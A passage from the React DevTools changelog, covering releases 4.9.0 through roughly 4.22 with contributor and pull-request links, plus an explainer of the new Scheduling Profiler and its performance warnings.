[#22706](https://github.com/facebook/react/pull/22706))\n* Display root type for root updates in \"what caused this update?\" ([@eps1lon](https://github.com/eps1lon) in [#22599](https://github.com/facebook/react/pull/22599))\n\n#### Bugfix\n* DevTools should inject itself for XHTML pages too (not just HTML) ([@bvaughn](https://github.com/bvaughn) in [#22932](https://github.com/facebook/react/pull/22932))\n* Don't restore profiling data if we're profling ([@eps1lon](https://github.com/eps1lon) in [#22753](https://github.com/facebook/react/pull/22753))\n* DevTools should properly report re-renders due to (use)context changes ([@bvaughn](https://github.com/bvaughn) in [#22746](https://github.com/facebook/react/pull/22746))\n* Filter empty commits (all Fibers bailed out) from Profiler ([@bvaughn](https://github.com/bvaughn) in [#22745](https://github.com/facebook/react/pull/22745))\n* Accept json file in import fileinput ([@jyash97](https://github.com/jyash97) in [#22717](https://github.com/facebook/react/pull/22717))\n* Expose css vars to reach-ui portal components ([@jyash97](https://github.com/jyash97) in [#22716](https://github.com/facebook/react/pull/22716))\n* Fix DevTools advanced tooltip display conditional check ([@bvaughn](https://github.com/bvaughn) in [#22669](https://github.com/facebook/react/pull/22669))\n\n#### Misc\n* Emit new event when DevTools connects in standalone app ([@jstejada](https://github.com/jstejada) in [#22848](https://github.com/facebook/react/pull/22848))\n\n---\n\n### 4.21.0\nOctober 31, 2021\n\n#### Features\n* Scheduling Profiler: Add marks for component effects (mount and unmount) ([@bvaughn](https://github.com/bvaughn) in [#22578](https://github.com/facebook/react/pull/22578))\n* Scheduling Profiler: De-emphasize React internal frames ([bvaughn](https://github.com/bvaughn) in [#22588](https://github.com/facebook/react/pull/22588))\n\n\n#### Bugfix\n* Revert logic for checking for duplicate installations of DevTools potentially causing issues loading Components tab ([@jstejada](https://github.com/jstejada) in [#22638](https://github.com/facebook/react/pull/22638))\n* Scheduling Profiler does not warn about long transitions ([@bvaughn](https://github.com/bvaughn) in [#22614](https://github.com/facebook/react/pull/22614))\n* Re-enable 'Reload and Start Profiling' for Microsoft Edge ([@eoandersson](https://github.com/eoandersson) in [#22631](https://github.com/facebook/react/pull/22631))\n\n\n#### Misc\n* DevTools supports ENV-injected version for better internal bug reports ([@bvaughn](https://github.com/bvaughn) in [#22635](https://github.com/facebook/react/pull/22635))\n* Fix typos ([@KonstHardy](https://github.com/KonstHardy) in [#22494](https://github.com/facebook/react/pull/22494))\n\n---\n\n### 4.20.2\nOctober 20, 2021\n\n#### Bugfix\n* Dev Tools: Relax constraint on passing extensionId for backend init ([@jstejada](https://github.com/jstejada) in [#22597](https://github.com/facebook/react/pull/22597))\n* DevTools: Fix passing extensionId in evaled postMessage calls ([@jstejada](https://github.com/jstejada) in [#22590](https://github.com/facebook/react/pull/22590))\n\n---\n\n### 4.20.1\nOctober 19, 2021\n\n#### Bugfix\n* Only show DevTools warning about unrecognized build in Chrome ([@jstejada](https://github.com/jstejada) in [#22571](https://github.com/facebook/react/pull/22571))\n* DevTools: Include Edge in browser name detection ([@jstejada](https://github.com/jstejada) in [#22584](https://github.com/facebook/react/pull/22584))\n\n---\n\n### 4.20.0\nOctober 15, 2021\n\n#### Features\n* Allow to use the Profiler when no client is connected in standalone DevTools ([@gabrieltrompiz](https://github.com/gabrieltrompiz) in [#22551](https://github.com/facebook/react/pull/22551))\n\n#### Bugfix\n* Surface backend errors during inspection in the frontend UI ([@bvaughn](https://github.com/bvaughn) in [#22546](https://github.com/facebook/react/pull/22546))\n* Prevent splash page in standalone app from becoming unresponsive after the disconnection of a client  (#22558) ([@gabrieltrompiz](https://github.com/gabrieltrompiz) in [#22560](https://github.com/facebook/react/pull/22560))\n* Prevent errors/crashing when multiple installs of DevTools are present ([@jstejada](https://github.com/jstejada) in [#22517](https://github.com/facebook/react/pull/22517))\n* Update Fiber logic in backend renderer to match implementation in React ([@jstejada](https://github.com/jstejada) in [#22527](https://github.com/facebook/react/pull/22527))\n\n#### Misc\n* Show warning in UI when duplicate installations of DevTools extension are detected ([@jstejada](https://github.com/jstejada) in [#22563](https://github.com/facebook/react/pull/22563))\n* Improved filenames of built worker files ([@akgupta0777](https://github.com/akgupta0777) in [#22559](https://github.com/facebook/react/pull/22559))\n\n---\n\n### 4.19.2\nOctober 8, 2021\n\n#### Bugfix\n* Show different error boundary UI for timeouts than normal errors ([bvaughn](https://github.com/bvaughn) in [#22483](https://github.com/facebook/react/pull/22483))\n* Fixed bug where deleting a component filter would also close the settings modal ([Biki-das](https://github.com/Biki-das) in [#22484](https://github.com/facebook/react/pull/22484))\n\n---\n\n### 4.19.1\nOctober 1, 2021\n\n#### Bugfix\n* Fixed potential cache miss when inspecting elements ([bvaughn](https://github.com/bvaughn) in [#22472](https://github.com/facebook/react/pull/22472))\n\n---\n\n### 4.19.0\nSeptember 29, 2021\n\n#### Features\n* Scheduling Profiler: Show Suspense resource .displayName ([bvaughn](https://github.com/bvaughn) in [#22451](https://github.com/facebook/react/pull/22451))\n* Scheduling Profiler marks should include thrown Errors ([bvaughn](https://github.com/bvaughn) in [#22419](https://github.com/facebook/react/pull/22419))\n* Don't patch console during first render in strict mode ([lunaruan](https://github.com/lunaruan) in [#22308](https://github.com/facebook/react/pull/22308))\n* Show which hook indices changed when profiling for all builds ([bvaughn](https://github.com/bvaughn) in [#22365](https://github.com/facebook/react/pull/22365))\n* Display actual ReactDOM API name in root type ([eps1lon](https://github.com/eps1lon) in [#22363](https://github.com/facebook/react/pull/22363))\n* Add named hooks support to standalone and inline DevTools ([jstejada](https://github.com/jstejada) in [#22320](https://github.com/facebook/react/pull/22320) and [bvaughn](https://github.com/bvaughn) in [#22263](https://github.com/facebook/react/pull/22263))\n#### Bugfix\n* DevTools encoding supports multibyte characters (e.g. \"🟩\") ([bvaughn](https://github.com/bvaughn) in [#22424](https://github.com/facebook/react/pull/22424))\n* Improve DEV errors if string coercion throws (Temporal.*, Symbol, etc.) ([justingrant](https://github.com/justingrant) in [#22064](https://github.com/facebook/react/pull/22064))\n* Fix memory leak caused by not storing alternate Fiber pointer ([bvaughn](https://github.com/bvaughn) in [#22346](https://github.com/facebook/react/pull/22346))\n* Fix call stack exceeded error in `utfDecodeString()` ([bvaughn](https://github.com/bvaughn) in [#22330](https://github.com/facebook/react/pull/22330))\n* Fix runtime error when inspecting an element times out ([jstejada](https://github.com/jstejada) in [#22329](https://github.com/facebook/react/pull/22329))\n\n#### Performance\n* DevTools: Lazily parse indexed map sections ([bvaughn](https://github.com/bvaughn) in [#22415](https://github.com/facebook/react/pull/22415))\n* DevTools: Hook names optimizations ([bvaughn](https://github.com/bvaughn) in [#22403](https://github.com/facebook/react/pull/22403))\n* Replaced `network.onRequestFinished()` caching with `network.getHAR()` ([bvaughn](https://github.com/bvaughn) in [#22285](https://github.com/facebook/react/pull/22285))\n\n---\n\n### 4.18.0\nSeptember 1, 2021\n\n#### Features\n* DevTools: Improve named hooks network caching ([bvaughn](https://github.com/bvaughn) in [#22198](https://github.com/facebook/react/pull/22198))\n* Console Logging for StrictMode Double Rendering ([lunaruan](https://github.com/lunaruan) in [#22030](https://github.com/facebook/react/pull/22030))\n\n---\n\n### Bugfix\n* Fix react-devtools-inline size issues ([lunaruan](https://github.com/lunaruan) in [#22232](https://github.com/facebook/react/pull/22232))\n* devtools: Don't display hook index of useContext ([eps1lon](https://github.com/eps1lon) in [#22200](https://github.com/facebook/react/pull/22200))\n* Throw error in console without interfering with logs ([lunaruan](https://github.com/lunaruan) in [#22175](https://github.com/facebook/react/pull/22175))\n\n\n---\n\n### 4.17.0\nAugust 24, 2021\n\n#### Features\n* Scheduling Profiler: Add network measures ([bvaughn](https://github.com/bvaughn) in [#22112](https://github.com/facebook/react/pull/22112))\n* Add options for disabling some features ([hbenl](https://github.com/hbenl) in [#22136](https://github.com/facebook/react/pull/22136))\n\n#### Bugfix\n* Fixed broken scroll-to error or warning feature ([bvaughn](https://github.com/bvaughn) and [eps1lon](https://github.com/eps1lon) in [#22147](https://github.com/facebook/react/pull/22147) and [#22144](https://github.com/facebook/react/pull/22144))\n* Replaced WeakMap with LRU for inspected element cache ([bvaughn](https://github.com/bvaughn) in [#22160](https://github.com/facebook/react/pull/22160))\n* Add more detailed error handling if profiling data does not have any React marks ([byronluk](https://github.com/byronluk) in [#22157](https://github.com/facebook/react/pull/22157))\n* Various named hooks bug fixes ([jstejada](https://github.com/jstejada) in [#22129](https://github.com/facebook/react/pull/22129), [#22128](https://github.com/facebook/react/pull/22128), [#22096](https://github.com/facebook/react/pull/22096), and [#22148](https://github.com/facebook/react/pull/22148))\n* Fix tooltip wheel event regression ([bvaughn](https://github.com/bvaughn) in [#22130](https://github.com/facebook/react/pull/22130))\n* Replace `source-map` library with `source-map-js` for named hooks source map parsing ([bvaughn](https://github.com/bvaughn) in [#22126](https://github.com/facebook/react/pull/22126))\n\n---\n\n### 4.16.0\nAugust 16, 2021\n#### Features\n* Scheduling Profiler: Inline snapshots ([bvaughn](https://github.com/bvaughn) in [#22091](https://github.com/facebook/react/pull/22091) and[bvaughn](https://github.com/bvaughn) in [#22088](https://github.com/facebook/react/pull/22088))\n#### Bugfix\n* split parsing code to unblock Firefox release ([lunaruan](https://github.com/lunaruan) in [#22102](https://github.com/facebook/react/pull/22102))\n* Scheduling profiler: Canvas views clip by default ([bvaughn](https://github.com/bvaughn) in [#22100](https://github.com/facebook/react/pull/22100))\n* Fixed Components tree indentation bug for Chrome extension ([bvaughn](https://github.com/bvaughn) in [#22083](https://github.com/facebook/react/pull/22083))\n\n---\n\n### 4.15.0\nAugust 11, 2021\n\n#### Features\n* Added new scheduling profiler tool ([bvaughn](https://github.com/bvaughn), [kartikcho](https://github.com/kartikcho), and [taneliang](https://github.com/taneliang) in [#22006](https://github.com/facebook/react/pull/22006), [#21990](https://github.com/facebook/react/pull/21990), [#22013](https://github.com/facebook/react/pull/22013), [#21897](https://github.com/facebook/react/pull/21897), [#22029](https://github.com/facebook/react/pull/22029), [#22038](https://github.com/facebook/react/pull/22038), [#22043](https://github.com/facebook/react/pull/22043), [#21947](https://github.com/facebook/react/pull/21947), [#21966](https://github.com/facebook/react/pull/21966), [#21970](https://github.com/facebook/react/pull/21970), [#21971](https://github.com/facebook/react/pull/21971), [#21975](https://github.com/facebook/react/pull/21975)).\n* Parsing source code for extracting names for hooks now happens in a worker ([tsirlucas](https://github.com/tsirlucas) in [#21902](https://github.com/facebook/react/pull/21902)).\n* Format hyperlink text as a clickable link ([kkragoth](https://github.com/kkragoth) in [#21964](https://github.com/facebook/react/pull/21964)).\n* Named hooks can now be extracted from extended source maps ([jstejada](https://github.com/jstejada) [#22010](https://github.com/facebook/react/pull/22010), [#22073](https://github.com/facebook/react/pull/22073)).\n* Hook indices now show up as a reason why a component rendered in the profiler ([mrkev](https://github.com/mrkev) in [#22073](https://github.com/facebook/react/pull/22073)).\n* Optimize images in DevTools ([ilhamsyahids](https://github.com/ilhamsyahids) in [#21968](https://github.com/facebook/react/pull/21968)).\n\n#### Bugfix\n* Named hooks cache is correctly cleared after Fast Refresh ([bvaughn](https://github.com/bvaughn) in [#21891](https://github.com/facebook/react/pull/21891)).\n* Hook names are correctly extracted when parsing nested hook calls ([jstejada](https://github.com/jstejada) in [#22037](https://github.com/facebook/react/pull/22037), [#21996](https://github.com/facebook/react/pull/21996)).\n* Highlight updates with memoized components ([Selnapenek](https://github.com/Selnapenek) in [#22008](https://github.com/facebook/react/pull/22008)).\n* Set app icon on MacOS ([christian-schulze](https://github.com/christian-schulze) in [#21908](https://github.com/facebook/react/pull/21908)).\n* Updated @reach packages to fix unmount bug ([bvaughn](https://github.com/bvaughn) in [#22075](https://github.com/facebook/react/pull/22075)).\n\n#### Misc\n* Refactor imperative theme code ([houssemchebeb](https://github.com/houssemchebeb) in [#21950](https://github.com/facebook/react/pull/21950)).\n* Change some remaining instances of master -> main ([shubham9411](https://github.com/shubham9411) in [#21982](https://github.com/facebook/react/pull/21982)).\n\n##### Scheduling profiler\n\n###### What is React working on?\n\nReact’s previous Profiler primarily reports how fast (or slow) components are when rendering. It didn’t provide an overview of *what React is doing* (the actual cooperative scheduling bits). The new profiler does. It shows when components schedule state updates and when React works on them. It also shows how React categorizes and prioritizing what it works on.\n\nHere’s a profile for a simple app that uses only the legacy (synchronous) `ReactDOM.render` API. The profiler shows that all of the work scheduled and rendered by this app is done at *synchronous* priority:\n\nhttps://user-images.githubusercontent.com/29597/129042321-56985f5a-264e-4f3a-a8b7-9371d75c690f.mp4\n\nHere’s a more interesting profile for an app that’s rendered at _default_ priority using the new [`createRoot` API](https://github.com/reactwg/react-18/discussions/5), then updates _synchronously_ in response to an “input” event to manage a [\"controlled component\"](https://reactjs.org/docs/forms.html#controlled-components):\n\nhttps://user-images.githubusercontent.com/29597/129074959-50912a63-0215-4be5-b51b-1e0004fcd2a1.mp4\n\nHere’s part of a profile showing an idle app (no JavaScript running). In this case, React does some pre-rendering work for components that are “offscreen” (not currently displayed).\n\nhttps://user-images.githubusercontent.com/29597/128971757-612f232f-c64f-4447-a766-66a0516e8f49.mp4\n\nNote that “offscreen” refers to a new API and set of features that we haven’t talked about much yet except for [some passing references](https://github.com/reactwg/react-18/discussions/18#discussioncomment-795661). We’ll talk more about it in future posts.\n\n###### What are “transitions” and how do they work?\nWe recently shared an update about the new [`startTransition` API](https://github.com/reactwg/react-18/discussions/41). This API helps apps feel responsive even when there are large updates by splitting the work into (1) a quick update to show that the app has received some input and (2) a slower update (the “transition”) that actually does any heavy lifting needed as a result of the input.\n\nHere is an example profile that uses the transition API. First React renders a small update that shows the user some visual feedback (like updating a controlled component or showing an inline loading indicator). Then it renders a larger update that, in this case, computes some expensive value.\n\nhttps://user-images.githubusercontent.com/29597/129079176-0995c8c0-e95a-4f44-8d55-891a7efa35c0.mp4\n\n###### How does Suspense impact rendering performance?\n\nYou may have heard mention of “suspense” in past talks or seen it referenced [in our docs](https://reactjs.org/docs/react-api.html#suspense). Although full support for data fetching via Suspense is [expected to be released sometime after React 18.0](https://github.com/reactwg/react-18/discussions/47#discussioncomment-847004), you can use Suspense today for things like lazy-loading React components. The new profiler shows when components suspend during render and how that impacts overall rendering performance.\n\nHere’s an example profile that suspends during the initial render to lazy-load a component using [`React.lazy`](https://reactjs.org/docs/code-splitting.html#reactlazy). While this component is loading, React shows a “fallback“ (placeholder UI). Once the component finishes loading, React retries the render and commits the final UI.\n\nhttps://user-images.githubusercontent.com/29597/129054366-2700e7e8-0172-4f61-9453-475acd740456.mp4\n\nWe plan to expand support for Suspense in the coming weeks to more explicitly show when suspense fallbacks are rendered and which subsequent renders are related to an initial update that suspended.\n\n###### What else might cause a render to get delayed?\n\nSuspense can cause a render to get delayed as React waits for data to load, but React can also get stuck waiting on a lot of JavaScript to run.\n\nReact profiling tools have previously focused on only reporting what React (or React components) are doing, but any JavaScript the browser runs affects performance. The new profiler shows non-React JavaScript as well, making it easy to see when it delays React from rendering.\n\nhttps://user-images.githubusercontent.com/29597/128971952-7c4e7e11-f4fb-497e-b643-4d9b3994b590.mp4\n\n###### What can you do to improve performance?\n\nUntil now, DevTools (and the Profiler) has provided information without commentary. The new profiler takes a more active approach– highlighting where we think performance can be improved and providing suggestions.\n\nFor example, suspending during an update is generally a bad user experience because it causes previously shown components to be unmounted (hidden) so the fallback can be shown while data loads. This can be avoided using the new [Transition API](https://github.com/reactwg/react-18/discussions/41). If you forget to add a transition to an update that suspends, the new profiler will warn you about this:\n\nhttps://user-images.githubusercontent.com/29597/128972228-3b23f01a-8017-43ad-b371-975ffed26c06.mp4\n\nThe new profiler also warns about scheduling a long, synchronous React update inside of event handler.\n\nhttps://user-images.githubusercontent.com/29597/128972000-d7477ba3-b779-46f2-b141-aaa712e9d6d2.mp4\n\nAnother thing the new profiler will warn about is long-running renders scheduled from layout effects (`useLayoutEffect` or `componentDidMount`/`componentDidUpdate`). These updates (called “nested updates”) are sometimes necessary to adjust layout before the browser paints, but they should be *fast*. Slow nested updates make the browser feel unresponsive.\n\nhttps://user-images.githubusercontent.com/29597/128972017-3ed0e682-751c-46fb-a6c5-271f255c8087.mp4\n\n---\n\n### 4.14.0\nJuly 17, 2021\n#### Features\n* Display hook names for inspected components ([saphal1998](https://github.com/saphal1998), [VibhorCodecianGupta](https://github.com/VibhorCodecianGupta), [bvaughn](https://github.com/bvaughn), and [motiz88](https://github.com/motiz88) in [#21641](https://github.com/facebook/react/pull/21641), [#21790](https://github.com/facebook/react/pull/21790), [#21814](https://github.com/facebook/react/pull/21814), [#21815](https://github.com/facebook/react/pull/21815), [#21831](https://github.com/facebook/react/pull/21831), [#21833](https://github.com/facebook/react/pull/21833), [#21835](https://github.com/facebook/react/pull/21835), [#21865](https://github.com/facebook/react/pull/21865), [#21871](https://github.com/facebook/react/pull/21871), [#21874](https://github.com/facebook/react/pull/21874), [#21891](https://github.com/facebook/react/pull/21891))\n* Control for manually toggling error boundaries ([baopham](https://github.com/baopham) in [#21583](https://github.com/facebook/react/pull/21583))\n* Allow user to manually enter Profiler commit number to jump between commits ([srubin](https://github.com/srubin) in [#19957](https://github.com/facebook/react/pull/19957))\n\n##### Display hook names for inspected components\n![DevTools parsing hook names](https://user-images.githubusercontent.com/29597/124013541-68c2cb00-d9b0-11eb-83ab-81a5180da46b.gif)\n\n##### Control for manually toggling error boundaries\n![DevTools error boundary toggle](https://user-images.githubusercontent.com/29597/125891522-30f0d99d-407f-4c31-b5a7-e9d0bd3fa554.gif)\n\n---\n\n### 4.13.5\nMay 25, 2021\n#### Bugfix\n* Handle edge case where a component mounts before its \"owner\" (in DEV mode) that previously caused a validation error ([bvaughn](https://github.com/bvaughn) in [#21562](https://github.com/facebook/react/pull/21562))\n\n---\n\n### 4.13.4\nMay 20, 2021\n#### Bugfix\n* Fix edge-case Fast Refresh bug that caused Fibers with warnings/errors to be untracked prematurely (which broke componentinspection in DevTools) ([bvaughn](https://github.com/bvaughn) in [#21536](https://github.com/facebook/react/pull/21536))\n* Revert force deep re-mount when Fast Refresh detected (was no longer necessary) ([bvaughn](https://github.com/bvaughn) in [#21539](https://github.com/facebook/react/pull/21539))\n\n---\n\n### 4.13.3\nMay 19, 2021\n#### Misc\n* Updated `react` and `react-dom` API imports in preparation for upcoming stable release ([bvaughn](https://github.com/bvaughn) in [#21488](https://github.com/facebook/react/pull/21488))\n\n#### Bugfix\n* Reload all roots after Fast Refresh force-remount (to avoid corrupted Store state) ([bvaughn](https://github.com/bvaughn) in [#21516](https://github.com/facebook/react/pull/21516) and [#21523](https://github.com/facebook/react/pull/21523))\n* Errors thrown by Store can be dismissed so DevTools remain usable in many cases ([bvaughn](https://github.com/bvaughn) in [#21520](https://github.com/facebook/react/pull/21520))\n* Bugfix for `useState()` object with `hasOwnProperty` key ([bvaughn](https://github.com/bvaughn) in [#21524](https://github.com/facebook/react/pull/21524))\n* Fixed string concatenation problem when a `Symbol` was logged to `console.error` or `console.warn` ([bvaughn](https://github.com/bvaughn) in [#21521](https://github.com/facebook/react/pull/21521))\n* DevTools: Fixed version range NPM syntax\n ([bvaughn](https://github.com/bvaughn) in [9cf1069](https://github.com/facebook/react/commit/9cf1069ffc5f3835506e314ef8c2e80bbfa8bdca#diff))\n* Tweaked DevTools error template title to match issue form template ([bvaughn](https://github.com/bvaughn) in [1a2d792](https://github.com/facebook/react/commit/1a2d7925035531e5767ff31ff8d0d581b5f94d49))\n\n---\n\n### 4.13.2\nMay 7, 2021\n#### Misc\n* Improved bug report template to use new [GitHub issue forms](https://gh-community.github.io/issue-template-feedback/structured/) ([bvaughn](https://github.com/bvaughn) in [#21450](https://github.com/facebook/react/pull/21450))\n\n---\n\n### 4.13.1\nApril 28, 2021\n#### Bugfix\n* Improve display name logic for `React.memo` components ([bvaughn](https://github.com/bvaughn) in [#21392](https://github.com/facebook/react/pull/21392))\n* Fixed potential runtime error with Suspense in versions <= 17 ([bvaughn](https://github.com/bvaughn) in [#21432](https://github.com/facebook/react/pull/21432))\n* Errors thrown in the Store are no longer silent ([bvaughn](https://github.com/bvaughn) in [#21426](https://github.com/facebook/react/pull/21426))\n\n#### Misc\n* Improved bug report template ([bvaughn](https://github.com/bvaughn) in [#21413](https://github.com/facebook/react/pull/21413)), [#21421](https://github.com/facebook/react/pull/21421))\n\n---\n\n### 4.13.0\nApril 28, 2021\n#### Features\n* Add Bridge protocol version backend/frontend ([bvaughn](https://github.com/bvaughn) in [#21331](https://github.com/facebook/react/pull/21331))\n\n#### Bugfix\n* DevTools iterates over siblings during mount (rather than recursing) to avoid stack overflow errors ([bvaughn](https://github.com/bvaughn) in [#21377](https://github.com/facebook/react/pull/21377))\n* Multiple error dialogs can be visible at once ([bvaughn](https://github.com/bvaughn) in [#21370](https://github.com/facebook/react/pull/21370))\n* Console patching should handle Symbols without erroring ([bvaughn](https://github.com/bvaughn) in [#21368](https://github.com/facebook/react/pull/21368))\n\n###### Bridge protocol version backend/frontend\nDuring initialization, DevTools now checks to ensure it's compatible with the [\"backend\"](https://github.com/facebook/react/blob/main/packages/react-devtools/OVERVIEW.md#overview) that's embedded within a renderer like React Native. If the two aren't compatible, upgrade instructions will be shown:\n\n<img width=\"400\" height=\"233\" alt=\"Dialog displaying downgrade instructions for the React DevTools frontend to connect to an older backend version\" src=\"https://user-images.githubusercontent.com/29597/115997927-f77f2a00-a5b2-11eb-9098-20042b664cea.png\">\n    \n<img width=\"400\" height=\"233\" alt=\"Dialog displaying upgrade instructions for the React DevTools frontend to connect to a newer backend version\" src=\"https://user-images.githubusercontent.com/29597/115997965-167dbc00-a5b3-11eb-9cbc-082c65077a6e.png\">\n\nLearn more about this change at [fb.me/devtools-unsupported-bridge-protocol](https://fb.me/devtools-unsupported-bridge-protocol)\n\n---\n\n### 4.12.4\nApril 19, 2021\n#### Bugfix\n* Remove `@octokit/rest` dependency because of a problem with transitive dependencies ([bvaughn](https://github.com/bvaughn) in [#21317](https://github.com/facebook/react/pull/21317))\n\n---\n\n### 4.12.3\nApril 19, 2021\n#### Bugfix\n* Wrapped quotation marks around Fiber ids or indices for all DevTools errors to better support GitHub fuzzy error search ([bvaughn](https://github.com/bvaughn) in [#21314](https://github.com/facebook/react/pull/21314))\n\n---\n\n### 4.12.2\nApril 16, 2021\n#### Bugfix\n* DevTools reliably suppresses console logs when generating component stacks ([bvaughn](https://github.com/bvaughn) in [#21301](https://github.com/facebook/react/pull/21301))\n\n---\n\n### 4.12.1\nApril 14, 2021\nAlthough this release is being made for all NPM packages, only the `react-devtools-inline` package contains changes.\n#### Bugfix\n* Fixed `react-devtools-inline` bug in frontend `initialize` method ([bvaughn](https://github.com/bvaughn) in [#21265](https://github.com/facebook/react/pull/21265))\n\n---\n\n### 4.12.0\nApril 12, 2021\nAlthough this release is being made for all NPM packages, only the `react-devtools-inline` package contains changes.\n#### Features\n* Added `createBridge` and `createStore` exports to the `react-devtools-inline/frontend` entrypoint to support advanced use cases ([bvaughn](https://github.com/bvaughn) in [#21032](https://github.com/facebook/react/pull/21032))\n\n---\n\n### 4.11.1\nApril 11, 2021\n#### Bugfix\n* Fixed broken import in `react-devtools-inline` for feature flags file ([bvaughn](https://github.com/bvaughn) in [#21237](https://github.com/facebook/react/pull/21237))\n\n---\n\n### 4.11.0\nApril 9, 2021\n#### Bugfix\n* `$r` should contain hooks property when it is `forwardRef` or `memo` component  ([meowtec](https://github.com/meowtec) in [#20626](https://github.com/facebook/react/pull/20626))\n* Ensure `sync-xhr` is allowed before reload and profile ([ChrisDobby](https://github.com/ChrisDobby) in [#20879](https://github.com/facebook/react/pull/20879))\n* Bump electron version from 9.1.0 to 11.1.0 for darwin-arm64 builds ([jaiwanth-v](https://github.com/jaiwanth-v) in [#20496](https://github.com/facebook/react/pull/20496))\n* Fixed primitive hook badge colors for light theme ([bvaughn](https://github.com/bvaughn) in [#21034](https://github.com/facebook/react/pull/21034))\n* Increased minimum Chrome/Firefox versions from 51/54 to 60/55 to reduce polyfill code. ([bvaughn](https://github.com/bvaughn) in [#21185](https://github.com/facebook/react/pull/21185))\n* Fix can't expand prop value in some scenario ([iChenLei](https://github.com/iChenLei) in [#20534](https://github.com/facebook/react/pull/20534))\n* Flush updated passive warning/error info after delay ([bvaughn](https://github.com/bvaughn) in [#20931](https://github.com/facebook/react/pull/20931))\n* Patch console methods even when only show-inline-warnings/errors enabled ([bvaughn](https://github.com/bvaughn) in [#20688](https://github.com/facebook/react/pull/20688))\n* React Native fixes for new inline errors feature ([bvaughn](https://github.com/bvaughn) in [#20502](https://github.com/facebook/react/pull/20502))\n* Fixed invalid work tag constants that affected a certain range of React versions ([bvaughn](https://github.com/bvaughn) in [#20362](https://github.com/facebook/react/pull/20362))\n\n#### Features\n* Improve Profiler commit-selector UX ([bvaughn](https://github.com/bvaughn) in [#20943](https://github.com/facebook/react/pull/20943))\n* Swap `log` with `cbrt` for commit bar height ([bvaughn](https://github.com/bvaughn) in [#20952](https://github.com/facebook/react/pull/20952))\n* Integrate with new experimental React Suspense features to improve props loading and inspection UX ([bvaughn](https://github.com/bvaughn) in [#20548](https://github.com/facebook/react/pull/20548), [#20789](https://github.com/facebook/react/pull/20789), [#20458](https://github.com/facebook/react/pull/20458))\n* Expose DEV-mode warnings in devtools UI ([eps1lon](https://github.com/eps1lon) in [#20463](https://github.com/facebook/react/pull/20463))\n* Display shortcuts for prev/next search result ([eps1lon](https://github.com/eps1lon) in [#20470](https://github.com/facebook/react/pull/20470))\n* Increase the clickable area of the prop value ([TryingToImprove](https://github.com/TryingToImprove) in [#20428](https://github.com/facebook/react/pull/20428))\n\n#### Experimental features\nThe following features are only enabled when used with (experimental) builds of React:\n* Shows which fibers scheduled the current update ([bvaughn](https://github.com/bvaughn) in [#21171](https://github.com/facebook/react/pull/21171))\n* Add commit and post-commit durations to Profiler UI ([bvaughn](https://github.com/bvaughn) in [#20984](https://github.com/facebook/react/pull/20984), [#21183](https://github.com/facebook/react/pull/21183))\n* Show which hooks (indices) changed when profiling ([bvaughn](https://github.com/bvaughn) in [#20998](https://github.com/facebook/react/pull/20998))\n\n###### Improve Profiler commit-selector UX\n\n![Video demonstrating tooltip with commit duration and time](https://user-images.githubusercontent.com/29597/110225725-30a1f480-7eb6-11eb-9825-4c762ffde0bb.gif)\n\n![Graphic illustrating Profiler bar heights using different scales](https://user-images.githubusercontent.com/29597/110361997-bafd6c00-800e-11eb-92d8-d411e6c79d84.png)\n\n###### Expose DEV-mode warnings in devtools UI\n![Inline warnings and errors](https://user-images.githubusercontent.com/29597/114225729-adeed800-9940-11eb-8df2-34d8b0ead3b8.png)\n\n###### Shows which fibers scheduled the current update\n![Shows which fibers scheduled the current update](https://user-images.githubusercontent.com/29597/114225931-eee6ec80-9940-11eb-90cc-fe6630fbfc08.gif)\n\n###### Add commit and post-commit durations to Profiler UI\n![Add commit and post-commit durations to Profiler UI](https://user-images.githubusercontent.com/29597/114225991-00c88f80-9941-11eb-84df-e2af04ecef1c.gif)\n\n###### Show which hooks (indices) changed when profiling\n![Show which hooks (indices) changed when profiling](https://user-images.githubusercontent.com/29597/114225838-d37be180-9940-11eb-93f8-93e0115421c8.png)\n\n---\n\n### 4.10.4\nMay 20, 2021\n#### Bugfix\n* Ported passive effects sync flushing/bubbling bugfix ([bvaughn](https://github.com/bvaughn) in [#21540](https://github.com/facebook/react/pull/21540))\n\n---\n\n### 4.10.3\nApril 27, 2021\n#### Bugfix\n* Replaced Facebook-internal fburl.com link with public fb.me link for Bridge protocol mismatch info page ([bvaughn](https://github.com/bvaughn) in [#21344](https://github.com/facebook/react/pull/21344))\n\n---\n\n### 4.10.2\nApril 27, 2021\n#### Features\n* Added Bridge protocol check and warning dialog if embedded DevTools backend is incompatible with DevTools UI ([bvaughn](https://github.com/bvaughn) in [#21344](https://github.com/facebook/react/pull/21344))\n\n---\n\n### 4.10.1\nNovember 12, 2020\n#### Bugfix\n* Fixed invalid internal work tag mappings ([bvaughn](https://github.com/bvaughn) in [#20362](https://github.com/facebook/react/pull/20362))\n\n---\n\n### 4.10.0\nNovember 12, 2020\n#### Features\n* Make DevTools Websocket retry delay configurable ([bvaughn](https://github.com/bvaughn) in [#20107](https://github.com/facebook/react/pull/20107))\n#### Bugfix\n* Fix error loading source maps for devtools extension ([sytranvn](https://github.com/sytranvn) in [#20079](https://github.com/facebook/react/pull/20079))\n* Remove css-sourcemap for `react-devtools-inline` ([sean9keenan](https://github.com/sean9keenan) in [#20170](https://github.com/facebook/react/pull/20170))\n* Decrease NPM update notification/prompt for standalone DevTools ([recurx](https://github.com/recurx) in [#20078](https://github.com/facebook/react/pull/20078))\n\n---\n\n### 4.9.0\nOctober 19, 2020\n#### Features\n* [Improved DevTools editing interface](#improved-devtools-editing-interface) ([bvaughn](https://github.com/bvaughn) in [#19774](https://github.com/facebook/react/pull/19774))\n* Add ⎇ + arrow key navigation ([bvaughn](https://github.com/bvaughn) in [#19741](https://github.com/facebook/react/pull/19741))\n* Add checkbox toggle for boolean values ([mdaj06](https://github.com/mdaj06) in [#19714](https://github.com/facebook/react/pull/19714))\n* Show symbols used as keys in state ([omarsy](https://github.com/omarsy) in [#19786](https://github.com/facebook/react/pull/19786))\n* Add new (unstable) `SuspenseList` component type ([bpernick](https://github.com/bpernick) in [#19684](https://github.com/facebook/react/pull/19684))\n\n#### Bugfix\n* Show proper icon/tooltip for restricted browser pages ([sktguha](https://github.com/sktguha) in [#20023](https://github.com/facebook/react/pull/20023))\n* Fix emoji character shown in Chrome developer tools panel ([bvaughn](https://github.com/bvaughn) in [#19603](https://github.com/facebook/react/pull/19603))\n* Don't open two tabs in Firefox when clicking on troubleshooting instructions ([unbyte](https://github.com/unbyte) in [#19632](https://github.com/facebook/react/pull/19632))\n* Support inner component `_debugOwner` in memo ([bvaughn](https://github.com/bvaughn) in [#19556](https://github.com/facebook/react/pull/19556))\n* 